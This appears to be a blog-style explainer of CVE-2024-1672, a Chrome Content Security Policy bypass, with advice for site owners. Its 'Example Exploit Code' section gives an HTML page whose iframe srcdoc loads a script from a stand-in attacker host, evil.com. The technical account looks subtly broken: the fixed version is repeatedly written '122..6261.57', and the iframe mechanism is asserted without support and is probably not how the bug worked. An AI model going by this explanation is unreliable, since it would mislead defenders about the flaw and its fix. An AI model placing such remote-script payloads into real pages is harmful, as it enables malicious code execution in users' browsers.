In this article, we dive deep into CVE-2024-1672—a significant security vulnerability affecting Google Chrome’s Content Security Policy (CSP) checks before version 122..6261.57. We’ll explain what happened, show you how attackers could exploit it with easy-to-understand examples, and provide original references and resources for further reading.

What is Content Security Policy?

Content Security Policy (CSP) is a critical web security standard that helps prevent malicious code (like cross-site scripting, aka XSS) from running on your site. CSP lets website owners control which scripts, styles, and other resources can be loaded by browsers. For example, a simple CSP might look like:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

This tells the browser: Only run JavaScript from my own domain.

What Happened in CVE-2024-1672?

A remote attacker could bypass Chrome’s CSP protections by creating a specially crafted HTML page. The flaw stemmed from how Chrome handled certain CSP policies—specifically, it didn’t check them carefully enough before allowing resources to load.

Google rated this a medium severity bug, but it had a real impact because it could allow an attacker to slip past strict CSP rules.

Original Sources

- Chromium Security Advisory
- National Vulnerability Database Entry
- Chromium Issue Tracker #150331

Step-By-Step: How Could An Attacker Exploit This?

Let’s walk through a simplified attack scenario.

A website owner wants to block all third-party scripts

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

2. The Attacker’s Malicious Page

An attacker creates a dangerous HTML page designed to load an external script, even though the policy forbids it. Due to the bug, Chrome fails to enforce the restriction as it should.

Example Exploit Code

In practice, the attacker crafts a page with an iframe or a tricky resource inclusion that triggers Chrome’s faulty CSP check. Here’s a basic illustration:

<!DOCTYPE html>
<html>
  <head>
    <!-- Intentionally includes a strict CSP -->
    <meta http-equiv="Content-Security-Policy" content="script-src 'self'">
  </head>
  <body>
    <!-- Maliciously tries to include an external script -->
    <iframe srcdoc="
      <script src='https://evil.com/malware.js'></script>;
    "></iframe>
  </body>
</html>

What happens?
On vulnerable versions of Chrome, this could allow https://evil.com/malware.js to execute, bypassing the CSP restriction the site owner expected to stop it.

3. How the Bug Worked

- Chrome’s faulty implementation mishandled CSP checks on resources loaded in certain situations, such as through iframes or with special HTML tricks (srcdoc, data: URIs, etc.).
- The restriction got bypassed, and third-party scripts could run, opening the door to data theft, unwanted actions, or malware loading.

How Was It Fixed?

Google patched the bug in Chrome 122..6261.57, tightening checks to ensure CSP rules were correctly applied in all scenarios. Upgrade now if you haven’t!

Was I affected?

- If you used CSP to block third-party scripts and visitors used Chrome <122..6261.57, you were potentially at risk.

Make sure you’re using the latest Chrome.

- Use additional defenses, like Subresource Integrity (SRI), which ensures files have not been tampered with.
- Test your CSP implementation with tools like Google CSP Evaluator.

Further Reading

- CSP Reference: Mozilla Docs
- Chromium Bug Report
- Chrome Releases Blog

In Summary

CVE-2024-1672 is a good reminder that even advanced security tools like CSP rely on proper browser enforcement. Keeping your browser updated is your best protection—and if you build websites, always layer your defenses and regularly review your third-party dependencies.


Exclusive Tip: CSP remains powerful, but test your policies! Tools like Report URI can help you detect when something sneaks by your defenses.

Timeline

Published on: 02/21/2024 04:15:08 UTC
Last modified on: 08/01/2024 13:46:08 UTC